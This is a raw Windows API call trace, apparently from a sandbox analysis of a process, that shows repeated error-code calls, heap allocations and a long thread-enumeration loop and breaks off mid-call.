GetLastError () returned 0x0 [0245.781] SetLastError (dwErrCode=0x0) [0245.781] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.782] SetLastError (dwErrCode=0x0) [0245.782] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.783] GetLastError () returned 0x0 [0245.783] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x42) returned 0x8619b0 [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.784] SetLastError (dwErrCode=0x0) [0245.784] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.785] SetLastError (dwErrCode=0x0) [0245.785] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.786] SetLastError (dwErrCode=0x0) [0245.786] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.787] SetLastError (dwErrCode=0x0) [0245.787] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.788] SetLastError (dwErrCode=0x0) [0245.788] GetLastError () returned 0x0 [0245.789] SetLastError (dwErrCode=0x0) [0245.789] GetLastError () returned 0x0 [0245.789] SetLastError (dwErrCode=0x0) [0245.789] GetLastError () returned 0x0 [0245.789] SetLastError (dwErrCode=0x0) [0245.789] GetLastError () returned 0x0 [0245.789] SetLastError (dwErrCode=0x0) [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x98) returned 0x861a00 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x1f) returned 0x861aa0 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x2b) returned 0x861ac8 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x37) returned 0x861b00 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x3c) returned 0x861b40 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x31) returned 0x861b88 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x18) returned 0x861bc8 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x24) returned 0x861be8 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x14) returned 0x861c18 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0xd) returned 0x861c38 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x1a) returned 0x861c50 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x2e) returned 0x861c78 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x19) returned 0x861cb0 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x17) returned 0x861cd8 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0xe) returned 0x861cf8 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x95) returned 0x861d10 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x3e) returned 0x861db0 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x1b) returned 0x861df8 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x1d) returned 0x861e20 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x48) returned 0x861e48 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x12) returned 0x861e98 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x18) returned 0x861eb8 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x1b) returned 0x861ed8 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x24) returned 0x861f00 [0245.789] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x29) returned 0x861f30 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x1e) returned 0x861f68 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x6b) returned 0x861f90 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x17) returned 0x862008 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0xf) returned 0x862028 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x16) returned 0x862040 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x2a) returned 0x862060 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x29) returned 0x862098 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x16) returned 0x8620d0 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x13) returned 0x8620f0 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x1f) returned 0x862110 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x12) returned 0x862138 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x18) returned 0x862158 [0245.790] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x46) returned 0x862178 [0245.802] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x8609f0 | out: hHeap=0x860000) returned 1 [0245.836] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x80) returned 0x8609f0 [0245.837] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x800) returned 0x8621c8 [0245.837] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0245.837] RtlSizeHeap (HeapHandle=0x860000, Flags=0x0, MemoryPointer=0x8609f0) returned 0x80 [0245.845] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x50) returned 0x860a78 [0245.846] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x2c) returned 0x860ad0 [0245.847] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x100) returned 0x860b08 [0245.847] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x0, Size=0x1c) returned 0x860c10 [0245.848] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x5c [0245.851] Thread32First (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.852] GetCurrentProcessId () returned 0x8e4 [0245.852] GetCurrentThreadId () returned 0x734 [0245.852] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.852] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.853] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.853] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.854] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.854] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.855] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.855] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.856] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.856] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.857] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.857] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.858] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.858] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.859] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.859] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.860] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.860] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.861] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.861] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.862] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.862] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.863] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.863] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.864] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.864] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.865] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.865] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.866] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.866] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.866] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.867] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.867] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.868] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.868] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.869] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.869] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.870] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.870] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.871] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.871] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.875] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.875] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.876] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.876] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.877] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.877] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.878] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.878] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.879] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.879] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.880] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.880] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.881] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.881] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.882] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.882] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.883] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.883] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.884] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.884] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.885] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.885] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.886] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.886] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.887] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.887] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.888] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.888] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.889] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.889] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.890] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.890] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.891] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.891] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.892] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.892] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.893] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.893] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.894] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.894] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.894] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.895] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.895] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.896] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.896] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.897] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.897] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.898] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.898] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.899] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.899] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.900] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.900] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.901] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.901] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.902] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.902] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.903] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.903] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.904] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.904] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.905] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.905] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.906] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.906] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.907] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.907] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.908] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.908] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.908] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.909] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.909] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.910] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.910] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.911] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.911] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.912] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.912] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.913] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.913] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.914] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.914] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.915] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.915] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.916] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.916] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.917] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.917] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.918] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.918] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.936] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.937] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.938] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.939] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.940] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.940] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.941] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.942] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.942] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.942] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.943] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.943] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.944] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.944] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.945] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.946] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.946] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.947] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.947] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.948] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.948] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.949] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.949] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.950] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.950] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.951] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.951] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.952] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.952] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.953] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.953] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.954] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.954] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.955] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.955] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.956] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.956] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.957] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.957] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.958] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.958] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.959] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.959] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.960] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.960] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.961] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.961] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.962] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.962] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.963] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.963] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.964] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.964] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.965] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.965] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.966] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.966] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.967] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.967] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.968] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.968] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.969] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.969] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.970] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.970] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.971] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.971] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.972] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.973] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.973] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.973] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.974] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.974] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.975] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.975] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.976] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.976] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.977] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.977] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.978] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.978] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.978] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.979] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.979] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.980] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.980] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.984] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.984] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.984] Thread32Next (hSnapshot=0x5c, lpte=0x24f154) returned 1 [0245.985] Thread32Next 